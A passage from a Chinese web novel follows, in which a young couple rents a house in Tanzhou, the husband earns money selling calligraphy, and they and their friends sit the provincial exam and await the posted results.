裴元的前程并不止是他一个人的前程,地方上的学子考出去的每一个都跟地方上的士绅官员息息相关。要是罗永真的有什么不好的心思,用不着裴元操心,会有人替他处理干净的。 潭州城,大湖以南最大的府城,光是城门就那么厚,马车进了城门门洞暗了再亮便是熙攘热闹的街市,看得谢九九跟阿满一起,脑袋摞着脑袋搁在马车窗边,看什么都觉得新鲜。 直到马车停在一幢高得需要仰着头才能看到顶的酒楼跟前,谢九九这才缩回脑袋揪住裴元的衣袖。 “你上次回去怎么没跟我说潭州有这么大的酒楼,可我咱们县里的临泽楼气派多了。” 谢九九说的是潭州城里最大的酒楼八方楼,八方取四海八荒之意,意旨天下宾客皆来他家,口气虽大了些,但大有大的道理。 :.】 八方楼主楼高五层,已然是南方府城酒楼少有的规模,主楼里除了吃饭还有戏台、曲水流觞,说是一步一景亦不为过。 主楼后面还有辅楼和雅院供不同的客人选择,再往后是一排屋舍,作为客栈留宿所用,来潭州租房总得要几天时间,裴元专门定下八方楼,就是想让谢九九住下来,安心偷师。 “这里住一夜多少银子。” “咱们人多东西多,又有阿满,我在后面包了个小院子下来,里面正屋带东西厢房,后面还有个小院子能走动,一天六两六钱银子,要吃饭要热水银钱另算。” “这么贵!” 谢九九惊得一下子没忍住声音,惹得带路的小厮回头来看。 见谢九九上身银红色如意云纹锦衫,下身着松绿暗纹罗裙,为了赶路发髻虽简单,但头上的纯金嵌红宝的顶簪和玉簪水头却十分不错。 手如葱段,箍着身边郎君露出的一小截腕子上,正带着一对金累丝嵌宝莲花镯,随着步子往前走,珍珠耳坠也随之微微晃动。 这样的打扮定不是寻常人家的小妇人,至少这是个能让郎君舍得精心打扮细心照料的女人。 小厮再不动声色看看一旁的裴元,方才一进八方楼的门,裴元就让跑堂的去找个靠谱的房行牙人来,说是要找宅子住下。 这个时候这个打扮,一定是来赶考的秀才。来得这么早,还带着妻子女儿一起来赴考,小厮打量不过一瞬本就微微弯着的背脊便又往下塌了塌。 “好叫娘子知道,这六两六钱银子里还带着每日四盘鲜果、四盘点心和各色干果,您若是一日只叫两次热水也是不额外收钱的。” “每个院子外都有专门的小子伺候着,不管是要茶饭还是跑腿,只要这潭州城里能办的事,都能叫他们给您办。” “只有每天三顿饭小店实在是不敢夸海口全包了,毕竟八方楼一桌酒席要是往海了点,没个几十两银子下不来,您说我们这小本生意,如何敢下那般海口。” 果然是见过大世面的小厮,说话机敏伶俐得很。听得谢九九暗自咋舌,等到了小院关上门来,谢九九才抚了抚胸口朝着裴元连连感慨,外加捶胸顿足。 “到底是我乡巴佬没见过世面了,这么多赚钱的法子,我就一点都没想到!” “在容县就是开这么一家酒楼也没人去,等以后去了京城,谢大娘子在京城开一家比这更大更气派的酒楼,到时候我就整日坐在家中替娘子数银子,可行?” “那得看裴郎君数银子快不快,要是粗心大意又笨手笨脚的,我可不要。你啊还是每天上朝点卯去才好,每月俸禄银子乖乖交回来,就算你得用了。” 明明连县城的云客来都留给了谢文济,这会儿手里除了些傍身的银子和这几年哼哧哼哧攒下的那点儿留在鹿鸣村的田产,别的什么都没有。 可两人就是歪在榻上说笑着滚做一团,一个当真觉得丈夫能连中三元金榜题名,一个认真笃定妻子一定能再经营出更好更大的云客来。 也是幸好屋里没有别人,没人会笑话这夫妻两人的豪言壮语。 裴元来得早,八方楼的小厮也能干,第二天就找来房行牙人。牙人手里早就攒了好些宅子,就等着赶考的秀才来租。谢九九和裴元来得早,自然就挑了个好的。 宅子不大,却也有前后两进。进门便是一排倒座房,曹勇和高义住在前面正好能轮流看守门房方便进出。 绕过影壁入了垂花门是后头这一进,四正四方的正屋带左右厢房,后面还有一个马棚和厨房,足够一家子住下了。 这样的院子平时十两银子上下能租一个月,但今年有乡试自然水涨船高。 谢九九使尽浑身解数最后以十八两一个月租下来,如今六月,乡试考完还有一个月才放榜,从六月到九月一共租三个月,再加上十八两银子的租金,拢共七十二两,一眨眼就花出去了。 谢九九只能一个劲的安慰自己,住在八方楼一天都要六七两银子打不住,十八两一个月很划算,才勉强忍住心头滴血的肉痛。 等搬过来收拾好东西之后,裴元又让牙人介绍了个大娘过来,专门负责厨房里的活计,上午来晚上走,一个月八钱银子的工钱。 总之七七八八加起来,一家子刚到府城几天时间就把一百两银子给花出去了。谢九九这才知道长安米贵居大不易到底是什么感觉,这种花钱如流水的感觉,可太肉疼了。 花了十来天的时间,一家子连带阿满都渐渐适应了潭州的生活。 潭州的东西卖得比容县要贵一些,容县二十文一斤的猪肉潭州府要二十二个钱,前腿肉和精排得二十八文才能买一斤,母鸡容县三十五到四十文一只,潭州府要四十五文才能买到好的。 米面粮油什么都比容县贵一点,倒也不是吃不起,可处处都多这么一点,加起来一个月的开销就多了不少。 这日裴元被同是来赴考的秀才请着出去吃饭,带着淡淡的酒气回来,就看见谢九九盘腿坐在窗边的罗汉床上数钱。 摆在罗汉床中间的矮几上是分开摆放的汇票、银票和两包银角子。银票最多,除了存放在芝娘那儿分家得来的一千五百两,谢九 九这些年自己存下来的八百两银票,她都带出来了。 汇票跟银票性质差不多,只要同一个票号存下的,到哪里都能兑取出来。汇票一共有五百两,谢九九特地在岳州汇通票号存下的,汇通在京城也有分号,真到了京城要应急的时候也能用上。 银角子到底有多少,得拿专门的小称一点点称。现在手头没有,就全靠谢九九靠经验自己估量。 再有便是二十两金叶子,被谢九九缝在小荷包里,再把小荷包贴身放着,裴元身上放十两,自己身上放十两,这便是最最最最后保命的钱了。 “我算了一下,我这边现在加起来一共三千两多一点儿。” 谢九九拿自己巴掌大的金算盘拨弄着小块的银角子,“以前觉得三千两太多了,多得我都不知道怎么用得完,要不然也不能入了何奎的股。” “还有鹿鸣村的地,想着银子拿在手里没地儿花干脆拿去买地。买在那里咱们用不上,谁知道子孙后代哪个不争气的,说不定到时候还得靠那点田吃饭过活。” 花的时候每一个理由都正当充分,现在想起来又觉得都不该花。谢九九这就是被潭州城的抛费给刺激了,一想到以后说不定还要去京城,就头疼得很。 “别着急了,我这儿还有。” 裴元有私房钱,除了谢九九给的还有自己赚的。赚来的给了谢九九大半自己还留了小半,凑一凑五六百两应该能凑上。反正对于以前手头只有几钱银子的裴元来说,且不到发愁的时候。 “再说我今儿又接了一单,酬金二百两。” “这么多?写什么的啊。寿序、碑文还是族谱墓志?” “就一块匾,再顺道求我一副字,搁在古董铺子里当个对联。” 裴元的字本就好,这两年被章世铮调教得越发好了,铁画银钩入木三分已然是成了势。 “那么多人就跟你求了字啊,别人怎么说。” “他们瞧不上我,觉得我这人铜臭味儿重。 以文会友怎么能在席间就说这个,银子不过黄白之物,马上就要考试了,不说凑在一起多写一篇赋一阙词,反倒弄这些,简直不知所谓。” 裴元嘴上说得可怜,脱了鞋爬上罗汉床枕到谢九九腿上的动作却很利索,“下回他们再喝酒肯定不找我了。” 求匾的是一个富户公子,人家公子哥儿志气大,不乐意继承家业,非要自己出来开个古董铺子,现在离开张据说就差一块匾了。裴元是今年赴考的学子里唯一一个小三元,人家就是奔着他来的。 一块匾二百两银子,谢九九喜得抱着裴元的脑袋连着亲了好几下,“什么铜臭味儿我可没闻到,我就闻见我家郎君身上香得很。” “说,晚上想吃什么,我给你做去。” “别忙,且不饿呢。” 裴元拉住谢九九一起歪倒在罗汉床上,他就知道这世上只有谢九九真心实意喜欢这般俗气又铜臭满身的自己。 好韶光岂可辜负,还是先吃饱了自己,再想其他才是正理。 第76章 第76章再不受第二次的罪 第二天,要开古董铺子的公子亲自带着银子上门来请裴元的字和匾,前后连半个时辰都不到,二百两银子就到手了。 那人走的时候还千恩万谢,因为他给的银子成色特别好,裴元心里一满意还顺手画了一副兰花图给他。 画不大,就是随手抽了一张裁剪过的半熟宣纸,小小一副之后找人装裱起来正合适摆在书桌案头当个装饰。 但小老板觉得裴元这是在夸他气质如兰,高雅!高洁!本来就十分的满意更加成了十二分。 哪怕他看得明白裴元的好兴致是来源于他给的银子也无妨,毕竟他见多了清高又无用的读书人,拿了自己的银子转过身还要啐自己一口,嫌自己的银子市侩俗气。 倒是裴元这个小三元很对口味,拿了多少银子就办多少银子的事。 看着那铁画银钩的匾额挂在自己古董铺上,小老板很大方地跟身边好友聊起裴元,很快来找裴元求字求匾求画的人就变多了。 毕竟还要考试,裴元没有来者不拒,但是隔一两天接一个生意总是无妨的。一副字便宜的五十两,最贵的三百两,价钱以字数多少来定,童叟无欺。 等到沈霁晚他一个月赶到潭州的时候,裴元的名声已然是传开了。 “你知不知道外面都怎么说你。”沈霁来得晚,离考试院近一些的宅子都满了,客栈也没了好的,再想找个清净些的地方住下,就得到城外去了。 幸好裴元在上个月月底等不到沈霁之后,就自己做主替他在同一条巷子里租下半边院子,要不然他这会儿真就得厚着脸皮在裴元这边借住了。 “满身铜臭,甘愿与商贾为伍。白瞎了一身的好学问,也不知道怎么考中的小三元。” 天气渐渐热了,幸好院子里还有个能乘凉的大树。裴元某天抽空带着曹勇高义出去淘了一套半新不旧的藤椅茶几回来,等过了中午最热的那一阵,两人就把桌椅摆出来乘凉。 等太阳下山热气渐渐散了,能定得下心了,裴元才会进屋去看书写文章。至于冰块,除了春儿带着阿满住的厢房里买了,正屋这边就一次都没用过。 倒不是舍不得,只是入了考场是肯定没有什么冰块冰碗拿来解暑降温的。 这些日子不说像有些人家原模原样弄出个长三尺深四尺的号舍来提前体验习惯,至少不能过得太舒坦,要不然等进了考场可就真不习惯了。 夏日炎炎又不能用冰,再舒服的小日子也舒服不到哪里去。今天也就是沈霁过来了,裴元才从曹勇和高义那儿分了一个用井水镇过的西瓜来吃。 两个秀才公坐在树荫下,不谈诗书不讲文章,说的都是自己临一出门女儿就咳嗽发热,弄得沈霁把出发的时间一拖再拖。 亦或是把女儿带出来才知道小家伙有多顽皮混账,这才搬过来几天整条巷子里的猫猫狗狗鸡鸡鸭鸭就全被阿满祸害了个遍。 已经有大娘上门来跟谢九九和裴元说,读书人家的女儿可不敢这么放任,该管就得管,要不然以后可不像话了。 被这些琐碎而要紧的事情一衬,裴元市侩俗气的名声反而显得不那么要紧,况且落袋为安,银子到了自己手里才是最要紧的。 尝过什么是真正的‘一文钱逼倒英雄汉’的裴元着实不在意外边那些流言,他一边说着一边又抬手从小几上拿了一块西瓜。 “放心吧,来潭州的人越来越多,很快就没人有时间盯着我琢磨了。银子摆在那里,不止我一个人动心眼馋。” 裴元说得没错,有些事都不做的时候人人都端着,一个个都标榜得像是莲台上的菩萨,早已看破红尘俗世,心中除了圣人文章就再没有别的。 但只要有一个人领头打破了这个约定俗成的规矩,就会有很多人也跟着俗气起来。至少随着来潭州赶考的学子们越多,愿意卖字卖画的才子们也渐渐多起来。 甚至在考试前几天还出现了一篇寿序前后求了两个书生,也不知道怎么没谈拢,最后两人都写了寿序银子却只有一份。 主家想要给两位秀才公平分了酬谢银,两人却都不愿意。从一开始争论这个寿序到底先找的谁,到后来开始点评对方的寿序写得如何。 最后 也不知道是谁说了哪句话,戳了哪一根肺管子,两个手无缚鸡之力的书生竟然当着大庭广众的面厮打起来。 过后去参加寿宴的人都说,那天最好看的一场戏便是书生打架。听说还有几个小戏班子把这事该成了一折戏,过些天就能上台唱了。 有了这样的热闹,谁还记得裴元,租来的小院子里很快就恢复了平静。 每天除了裴元书房传来的纸笔簌簌,就是阿满院子里外来回疯跑玩闹的笑声,再不然就是谢九九又买了什么东西回来,喊着让裴元出来看。 一家子在租来的小院里,过得像是已经在此处生活了十来年。这样的时间过得飞快,仿佛只有一眨眼的功夫,就到了八月初九乡试第一场开考的日子。 考生卯时初开始排队进入考场,想要早点进去轻松一些,就得早早起身。 一贯爱睡个回笼觉的谢九九为此寅时初就醒了,轻手轻脚的下床起身,去厨房把早饭做好,又把热水和今日要穿的衣裳给裴元都准备好,才把睡梦里的人喊醒吃饭。 “你不吃。” “实在太早了,我等回来再跟阿满一起吃。” 确实太早了,裴元也吃不下什么。好在谢九九已经提前给他准备了炒米炒面和一小坛子酸黄瓜酸藕,一旁两个小竹筒里一个装着七成风干的牛肉干,一个装的是腊制的鱼块。 牛肉干加了辣子和花椒,风干之后拿剪子剪成一指宽半指长的小块,即便是答卷的时候实在饿了,随手扔两块放在嘴里嚼着,一来扛饿二来解馋。 腊鱼选的都是鱼腹部位,几乎没刺,有也是整根的大刺。到时候饿了把炒米炒面拿热水一冲,夹两块鱼和咸菜佐着,一顿饭也就对付过去了。 这样的餐食都是谢九九提前问来的,装吃食的罐子也专门买了广口的,方便进考场的时候供人检查。为此,连酸黄瓜和酸藕谢九九都提前切成了一指宽的小块。 要不然听说有些搜检不客气的兵卒,会直接上手把整块的糕点捏碎。那要是真上手把坛子里的小菜掰开检查,裴元还吃不吃了?那可太膈应人了。 谢九九在厨房忙着准备这些东西的时候,裴元就倚在厨房门口听她胡咧咧,两人越说越没谱,偏又越说越带劲儿。 好在家里所有人包括阿满都习惯了,连同临时请来的大娘也自顾自的坐在廊下阴凉处给阿满做袜子,谁也不去管这对夫妻,他们之间的趣意,旁人实在是明白不了。 乡试和当年县试的排场何止天差地别,自家的马车走到半道就走不动了。 等了半天前面全是马车和人,谢九九打开马车车门站在车辕上往前面看,便回头跟拉着自己衣袖,生怕自己站不稳再从马车上摔下去的裴元说道:“前面太挤了,下车走过去吧。” “你先下来、下来。”裴元半抱着谢九九从马车上下来,把马车上的东西拿下来,让高义把马车往回赶,留下曹勇跟着两人直接往里走。 能带进考场的东西其实不多,背后一个书箱放着笔墨纸砚外加一床从西北商人手里买的羊绒褥子,手里提着个篮子装的都是吃的用的和一葫芦清水,也就行了。 “进去了别着急答题,先定定神。我听他们说许多考生着急忙慌的,还没开始写就先污了卷纸,这一场考试就算废了。” “你放心,我带的墨条这会儿都还没开,误不了事。” “明天出来有没有什么想吃的,我给你做。” “想吃鱼头,鱼头煮豆腐。”容县的鱼好像比潭州城的好吃,但裴元还是喜欢吃鱼,尤其喜欢吃鱼头和鱼尾,这两处的鱼肉最鲜甜嫩滑。 “再做个香煎鱼尾行不行。再来个东安鸡、一个鸡婆笋炒肉、汤喝湖藕排骨汤吧,行不行。” 两人从家里出来得早,住得离考试院不算太远,走到考试院门口的时候人虽多但还能接受。 谢九九找了个空处,最后给裴元把东西都检查了一遍,又给他报了一遍明天出考场回家吃的菜名,才放他过去排队等着入考场。 裴元来了不就沈霁也到了,之后过来的还有周世安、何云驰和考了许多年没有中举却依旧每次都来考的白秀才。 乡试依旧需人结保,再另找一个廪生作保。这五人里已经有两个廪生了,为了再找个今年不考试的廪生来作保,也是花了一番功夫。 人齐了进去得就快,谢九九准备的吃食都是碎的很好检查,这样的态度让搜查的兵卒也很省心,脱了外裳粗粗看过便把裴元给放进去了。 人一进考试院,谢九九就再看不见了。她这一刻才有一点点理解那些在家盼着出去考试的丈夫回家的女子到底什么心情,这可真是太忐忑了。 把裴元送进去了,谢九九也没走,就找了个人少的角落跟曹勇继续看。 一直等到考试的秀才都进去了,还看了两个想要夹带作弊的学子被搜出来,当众被杖责过后,被带去潭城县县衙等待后续发落。 连带跟他们二人一起结保的八个考生,和给他们作保的廪生也被找了出来。待考的秀才一律不准再考,廪生眼下没发落,但听曹勇说他这个廪生的资格怕是完了。 至此,谢九九才明白裴元为何一直没断了跟周世安和何云驰的关系,这五个人各有各的所求,家中条件好或不好都不会行差踏错去营私舞弊,这样才能让人放心。 要不然随意找个看着热络其实不那么知根知底的,到时候再出了这样的状况没了考试资格,那可真是没地儿喊冤去。 八月初九第一场考试,考生卯时(早上五点至七点)入场,酉时(下午七点至九点)交卷。交卷之后不能出考场,要等到第二天上午才能出来。 初十早上出来,在家休息一日,等十二日早上再入场考第二场,如此反复直到八月十五入考试院考第三场,八月十六早上出来,才算把这一场极其耗人心血精气的考试熬完。 裴元身子骨已经算好的了,八月十六从考场出来时也头重脚轻,被曹勇和高义扶着走到自家马车旁,几乎手脚并用的爬上车,趴在谢九九身上顿时就泄了浑身的力气。 “这次要考不上,我可再不受这个罪了。” “呸呸呸,谁说你考不上的。我可请了卦的,人家说了今年你必定高中!” 第77章 第77章有我的一半就有你的一半…… 也不知道乡试这日子到底是谁定下的,怎么连八月十五这日都没有避开。 对于过节这件事,谢九九以前以为自己并不在意,毕竟家里开着云客来,人家越过节饭庄里就越忙。从小到大除了过年,不管是端午还是中秋爹都要很晚才能回家。 这几年自己成了当家人,才更加深切的知道过节到底有多忙,有银子摆在那里不赚的是傻子,什么过节不过节的且放到一边去吧。 可这次八月十五把裴元送进考场之后,谢九九心里前所未有地涌起一股说不清是孤单还是失落的情绪。 看着丈夫背着书箱的背影,觉得大过节的这人还要考试真可怜,转念一想又觉得更可怜的是自己,八月十五月饼得一个人吃。 怪不得前两年每次过节,自己从饭庄回来隔天娘都要找些芝麻绿豆大的小事跟自己掰扯,有时候两人会吵起来有时候不会,会不会吵起来的关键在于谢九九愿不愿意。 “那时候饭庄里的事情多,脑子里心里装的都是那些事情。娘挑刺说的那些话我听也就听了并不入耳,嗯嗯啊啊糊弄过去也就过去了。” “怎么,总算知道你自己有时候也挺气人的了?” 八月十五晚上,裴元写完第三场的策论,把试卷交了,用热水把谢九九给准备的炒米冲了,就着酸黄瓜和牛肉干吃了个干干净净。 随即把答题的板子挪到号舍里侧,展开羊绒的毯子裹在身上,板子做床靠在号舍一侧的墙上,正好能看见号舍外一小片天空。 第三场的考卷已经全收上去了,大部分人答得好与不好都和裴元差不多,安安静静的待着,等着明天早上出考场。 也有人自知考得不好没希望了,在号舍里长吁短叹。天刚黑那阵,甚至还有个秀才不知道受了什么刺激,突然冲出号舍仰天长啸:“错了!错了!!都错了!!!” 考场上的规矩,连头都不能伸出号舍之外,要如厕都得先申请出恭签,拿着签子让巡视考场的兵卒跟着一起去,还得限时来回。 现在这人冲出号舍,不论他的文章到底错没错,他这一遭便是白来了。 裴元能看见的夜空没有月亮,只有几颗特别亮的星星。耿耿星河欲曙天,中秋夜裴元几乎没怎么睡,就这么安静地看着星空,耐心地等到天亮。 “一夜没睡,你想的是什么。” “我在想,这便是我一步一步走出来的路。从那么小那么逼仄的号舍考出来,这就是我此生唯一能走,也必须走成的路。” “没想我啊。” “也想了,想着等日后做了官,得给你请个诰命回来。” 裴元在家躺了三天,直到八月十九这天才将将养回些精神来。谢九九领着春儿和厨娘特地张罗了一桌菜,一家子补了中秋节的家宴。 这会子曹勇和高义喝多了去前头倒座房睡下了,春儿带着阿满也去房里歇下了。 院子里只剩下谢九九和裴元,并排靠在躺椅里看着早已经不那么圆的月亮,两人中间的小桌子上摆着白天卤好的猪耳朵和花生毛豆,还有隔水温着的一壶酒,惬意得不得了。 谢九九跟裴元说考试那几天她自己在家瞎琢磨的东西,裴元跟她说答完了题等着出考场的时候有多难熬。各说各的,却又都听得认真。 “远舟,我之前一直以为,谢家没了我天就要塌了。”但没了谢九九的谢家,没有真的天崩地裂。 而自己这段时间住在这个小院子里,不用想云客来的新菜,不用一笔一笔算着这个月饭庄里的开支哪里超了,下个月要从哪里再省下来。 不用想老二还要读多久的书才能考上秀才。不用考虑到底是先给老二说个媳妇成亲,还是再等几年,等他有了功名再娶个更好的妻子回来。 还有芝娘,十二岁说大不大说小也不小了。这几年家里也给她请了女先生读书认字,家里给她备的嫁妆在整个县城也是拿得出手的。 偏她的性子硬得跟石头一样,除了家里人,外面知道谢家三姑娘的都说,那姑娘性子孤僻怪得很,进进出出少有个笑模样。 这么个妹妹得找个什么样的婆家和丈夫,谢九九是一想到就发愁。 这些事,都是谢九九曾经以为自己必须一桩桩一件件都必须安排妥当的事情。但这段时间住在这个小院子里,不用再想这些,谢九九觉得好轻松啊。 “可我又觉得我就这么出来了,那他们怎么办,我是不是就这么扔下他们了。” 这样的想法,从谢九九带着阿满从容县出来那一天就已经在心里生了根,不过那会儿裴元还没考试,这心思她是一丝一毫都不敢露出来。 “他们要是撑不住,会来找你的。” 但其实裴元又如何不知道,他想要霸占谢九九,除了喜爱之外也是知道她究竟有多好。或许有人嫌她一言堂又霸道得很,可他最清楚,谢九九为了身边的人到底耗费了多少心血。 “分家的事是娘提出来的,我的默不作声也在一直推着你往前走。” 裴元坦然地承认他心里那点儿摆不上台面的想法,作为入赘的女婿,裴元的身份又这么特殊。他要是说不肯分家,黄娟一定能就坡下驴让这件事不了了之,但他没有这么做。 “所以以后你就记住,是我裴元小气,是我裴远舟心里的野望太大,带着整个谢家往前走太难太累,我不愿意。才袖手旁观看着你分了家,这事不管到什么时候,我的责任起码有一半。” 温着的酒只剩一个底了,裴元起身给两人倒满递给妻子,谢九九接过酒盏一饮而尽。 “你还知道啊,别以为我不知道你那点儿小心思。还起码一半责任,裴郎君既这么大包大揽,如何不把这事全揽过去。” 或许是喝多了,或许是有些话只能借着酒劲儿才能说出来。谢九九侧过身子屈膝蜷缩在躺椅里,平时人前风风火火的谢大娘子看着就那么一小团儿,背脊肩胛甚至有些单薄。 “那不行,这种事有我的一半就得有你的一半,谁叫咱俩是夫妻。”裴远舟脸皮比城墙还要厚,他也侧过头认真看着谢九九, “九九你得记住,这世上只有我没了你才会天塌了。谢家没了你还是谢家,我没了你可就没有家了。” 说完这话,裴元起身走到谢九九的躺椅前,俯身弯腰示意她把手搭上来,横抱着人进了屋里。 一夜好眠,次日起身小院的日子又恢复如常,有些事说出来就舒服了,心里的不习惯还是得谢九九自己慢慢适应。 而她适应的办法就是带着一家子隔三差五的出门,从逛街到赏秋从城里到城外,之后不知道听谁说了什么,又带着裴元和阿满把潭州城附近的寺院道观都走了一遍。 等到九月放榜前夕,家里光是求来的各种符箓佛牌两只手都数不过来,给文曲老爷的香油钱,也早比这三个月租房的房钱多得多。 九月初十乡试放榜,这一次早早醒了的人换成了裴元。 一贯俗气又自持,干什么都胸中有数的裴远舟,从昨晚上起就一直粘着谢九九,谢九九走哪儿他跟到哪儿,尾巴一样甩都甩不掉。 问他到底要干嘛他也不说,就这么锲而不舍的跟着,跟到最后阿满都烦她爹了。 小人儿故作老成地叹了口气,又走到她娘跟前特别认真的拍拍她娘的手背,好似再说这么烦人的爹我就留给娘了,然后就扭头往屋外走。 小孩儿从出生起就被养得很好,身子骨壮壮的连头发都比别的小孩儿更多更黑,往外走一步脑袋上扎的两个小揪揪就跟着颤一下。 这是早上裴元给闺女扎的小辫儿,扎得一个高一个低的,阿满却满意得不得了。直到这会儿嫌她爹太烦人了,才出门去找她春姨,要重新扎辫子。 缠了谢九九一整天,晚上又哄着谢九九做了一场又一场,直到谢九九累得连手指都懒得动了,裴元才喟叹一般趴在谢九九身侧,“信我,我这次一定能考中。” 谢九九想说自己也没不信他啊,但实在是累得狠了,只含混着嗯了一声便彻底昏睡过去。等到第二天被裴元拉起身出去等放榜时,真真是困得连眼睛都睁不开。 贡院外此时已经是人山人海,这时候想要挤进去是不可能的了,曹勇和高义想试一试差点没被人挤了半条命去。 好在白秀才这些年经验十足,早已提前在离贡院不算远的酒楼里定下位置,裴元带着谢九九和阿满过来时,除了清早就出门过来等结果的白秀才,连沈霁都已经先一步到了。 “瞧瞧,我说什么来着,我就说远舟今日一定要把谢娘子带出来。来来来愿赌服输,一人一两银子,可别赖。” 说话的是周世安,比起何云驰他跟着裴元的关系还要更亲近一步,这几年裴元在府城读书,他倒是还经常去云客来吃饭。 再加上两家都是做买卖的,即便没有裴元的关系,谢九九跟周世安的关系也一直不错,现在云客来雅间里用的点心,都有好几样是从周家的铺子里买来的。 “少拿我打岔,我从县城出来之前可听嫂子说了,少东家求着嫂子陪你来赴考,嫂子嫌实在路远才没来的,是不是有这么一回事。” 裴元带着妻子孩子来赶考,这事也在考生中传开了。有人说他太怕家中的河东狮忒 没志气,也有人觉得这个小三元被美色迷了心,肯定考不出好成绩。 周世安拿这事来做赌局,多多少少也有几分调侃的意味在里头。谢九九干脆把他那点儿糗事也给说了出来,说得周世安起身冲着谢九九连连作揖,这才作罢。 知道谢九九怕是要来,众人专门给她留了个靠窗的位置,抱着阿满从窗口探出去,正好能隐约看见远处人头攒动的贡院门口。 “怎么会这么多人,考生也没这么多啊。” “都是来凑热闹的,还有等着放榜唱名,好来报喜讨赏的人。” 或许是自觉这次考得不错,一贯严肃得古板得有些不近人情的白秀才,此刻瘦削的脸上也带了几分笑意。 尤其阿满很少见白秀才又有些眼熟,总要抬手朝他那边打招呼,看得白秀才也一而再再而三地扯起嘴角,正经八百地向一个三岁孩子点头回礼。 湖广行省以南,今科的举人一共录取四十八人,虽不算多但也不算少。据说有一年总共也就录了二十八人,那才是真的千军万马过独木桥,千里挑一的选人。 榜单以黄纸朱书的形式,张贴于贡院外的布告栏上。榜单按名次排,注明考生的籍贯和座位号,以防同名混淆。 榜单贴出来之后,会有专门唱名的差役高声宣读中举人的姓名,此刻那些等着报喜讨赏的人才会赶紧往外跑,一路跑一路报喜,再往考生们扎堆的这几个酒楼来。 考中四十八名的考生姓崔,没在众人选定的这个酒楼,谢九九就看着好几个报喜的人急匆匆地从楼下跑过去了,没多会儿就听见不远处的酒楼传来喜极而泣和众人熙熙攘攘的道喜声。 那种热闹跟寻常热闹不一样,谢九九在云客来好几年也从未听过,那种声嘶力竭、竭尽全力的呼喊,除了喜悦之外还有几分吓人。 怪不得以前听故事说有人中举之后疯了的,这般情绪波动有人承受不住也是正常。 四十八、四十七……看着一个个报喜的人从楼下跑过去,谢九九的心也跟着提到了嗓子眼。 直到第四十名,远远的听见报喜之人口中唱到:乡试第四十名,容县的白鹤川白老爷,恭喜容县举人白鹤川白老爷高中举人,文星高照,光耀门楣…… 整个安静到有些沉闷的雅间里,才爆发出一声几乎变了调的叫好声。 第78章 第78章裴解元 那一声叫好是向来温吞得让人很容易就会忽略还有这么个人的何云驰喊出来的,前年裴元去府城读书没多久,白秀才就自愿从府学转回县学读书。 当时大家都对此疑惑不解,毕竟整个容县要说哪个读书人最执着于考功名,白秀才认了第二就没人敢认第一。后来周世安与何云驰跟他熟了之后才知道,他回来的原因是他家中妻子病了。 白秀才是个挺古板的人,以裴元的话说,他就是因为多年落地受的刺激太大,整个人都有些迂了。 但迂腐之人也不是一点好处也没有,至少白秀才便是个把规矩读到心里去,而不是光留在嘴上的人。 读书在他心里一向头等要紧,但家中妻儿是他作为男子这辈子的责任,收到家信说妻子病得起不来身,只犹豫了一夜便收拾行李包袱,从岳州回来。 这么一个人,嘴上虽硬得有些讨人嫌,但相处的时间久了,不管是何云驰、周世安,还是从府城回去才会偶尔见一面的裴元,都是由衷希望他能有朝一日考中举人,也算不枉费他这二十年的坚持。 “是我、是我……小哥你可听清楚了?当真是容县的白鹤川?”平时都叫他白秀才,连他的字大家都不大记得,白鹤川这个大名就更是鲜少有人知道。 此刻白鹤川指尖颤颤从袖袋里掏出一个颜色已经暗淡了的红布荷包,里面是早在二十年前就准备好了的赏银。 荷包是当年妻子给他准备好的,那一年意气风发的少年天才,也笃定着自己一定能一举夺魁。 这些年每次来潭州赴考白秀才都会带上这个红荷包,即便荷包已经旧得连布都脆了,装在里面的碎银也换来唤起早不是二十年前的银子,可他仍旧每次都带上了。 银子掏出来分给报喜之人,巨大的喜悦让白秀才,不对是白举人整个人看上去甚至并没有想象中的欣喜若狂,整个人看上去反而有些呆滞。 都是读书人,雅间里其他几人都不敢大声说话生怕惊扰了白鹤川,再把人这人惊出个好歹来,中举之后疯了的、过于激动死了的听说过的故事可不是一个两个。 只有阿满不知道,在家的时候谢九九就跟她说了,要是爹爹或是几个叔父们中了举,就让她大大方方跟人道喜。 这会儿见白秀才中了,还不得谢九九拉过她,就已经腾腾腾走到白鹤川跟前:“恭喜叔父一举成名天下知,蟾宫折桂步青云!白叔父,阿满也要喜银。” 看着那些报喜的人一脸喜气洋洋的拿着银子走了,阿满觉得自己也想要。肉嘟嘟的小手手心朝上,抬头冲白鹤川笑得跟个年画娃娃一样。 白鹤川这才从一种巨大的迷茫中回过神来,蜂鸣的耳鸣渐渐褪去,他低头看着笑得开心一门心思替自己高兴的谢家阿满,眼中的泪水终于夺眶而出。 “给、当给当给。乖乖等会儿啊,叔父给你找。” 胡乱在身上拍了几下,没摸到什么能送的,干脆把腰间一块玉佩给扯了下来放到阿满手心。玉不算多好的玉,胜在雕工上乘,阿满看不出好坏,但她很喜欢。 阿满回头去看她爹,裴元知道白鹤川人已经缓过来了,便冲女儿点点头,阿满这才高高兴兴收下玉佩走到她爹跟前,靠着他爹继续往楼下看。 就这么一小会儿功夫,报喜的人已经喊到三十一名了。越往前,周世安的神情越发平静,自己的文章能考到什么份上,读了这么多年的书,大家心里其实都有个大概。 周世安之前就说过,要是今科自己的运气不好挂不上最后几名那就得三年之后再考。现在都三十一了也没自己,看来是希望不大了。 果然,只过了一小会儿,就又有两个报喜的连同沈霁的书童跌跌撞撞往酒楼这边来,“容县的沈霁沈老爷是哪一位,恭喜沈老爷高中乡试第二十八名,金榜题名,指日青云!” 报喜的人双手奉上在贡院门口刚刚写好的红纸,上面写的是沈霁的籍贯年龄和姓名,就这么薄薄一张纸沈霁接过来的时候手都止不住直哆嗦。 一向恨不得把上善若水顺其自然挂在嘴边的人,也忍不住红了眼眶。 裴元抬手在沈霁后背重重拍了两下,拍得他长长吁出一口气来,才红着眼大笑着吩咐掌柜,照他们酒楼里最好的席面准备十桌,今日有缘来吃饭的,若赏面都能来吃。 这一条街大大小小的酒楼都被秀才们占满了,这才唱名唱到二十八名自己酒楼就出了两个举子,今年这运气可真够好的。 沈霁请了十桌席面,已经是举人的白秀才也笑着添了五桌。他的家底子虽不薄,但家里负担也重,在这种请客出风头的事情上,他一贯不争先。 二楼和楼下除了等着放榜的秀才,也有来看热闹的路人和吃饭的食客。 能吃到举人老爷请的席大家都觉得是个喜庆的事,当即就不断有人来二楼雅间敬酒,说几句吉利话顺道看看新出炉的举人老爷长个什么样子。 这 